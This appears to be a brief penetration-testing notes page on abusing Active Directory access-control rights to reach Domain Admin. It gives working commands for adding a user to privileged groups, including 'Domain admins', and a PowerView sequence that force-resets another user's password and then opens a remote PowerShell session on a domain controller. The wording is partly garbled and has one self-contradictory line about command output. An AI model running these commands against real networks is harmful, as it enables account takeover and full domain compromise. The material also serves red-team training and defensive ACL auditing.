Abusing ACL


  • If a user has GenericAll access over a group on a domain, "it allows them to directly modify group membership of the group." So we could add our user to a group that has more rights on the domain to make our way to Domain Admin. net group groupname f.lastname /add /domain

  • If a user has GenericAll rights over a user it is possible to try to Force Change password Note: our current user is f.lastname1 and the user we have genericAll rights over is f.lastname2 $SecPassword = ConvertTo-SecureString 'SafePassword1!' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('domain\f.lastname1', $SecPassword) $UserPass = ConvertTo-SecureString 'NewSafePass1!' -AsPlainText -Force Set-DomainUserPassword -Identity f.lastname2 -AccountPassword $UserPass -Credential $cred Note: This is a PowerView Function

  • If the previous command as successfully completed (this would usually no error outputed usally you would have any output after a successful command)

  • We can check with a remote powershell that we were successful Enter-PSSession -ComputerName dc01 -Credential domain\f.lastname2


  • This means our user can grant themselve any privilege they want on the object. Understand here that we can grand ourselves domain admin" net group "Domain admins" f.lastname /add /domain


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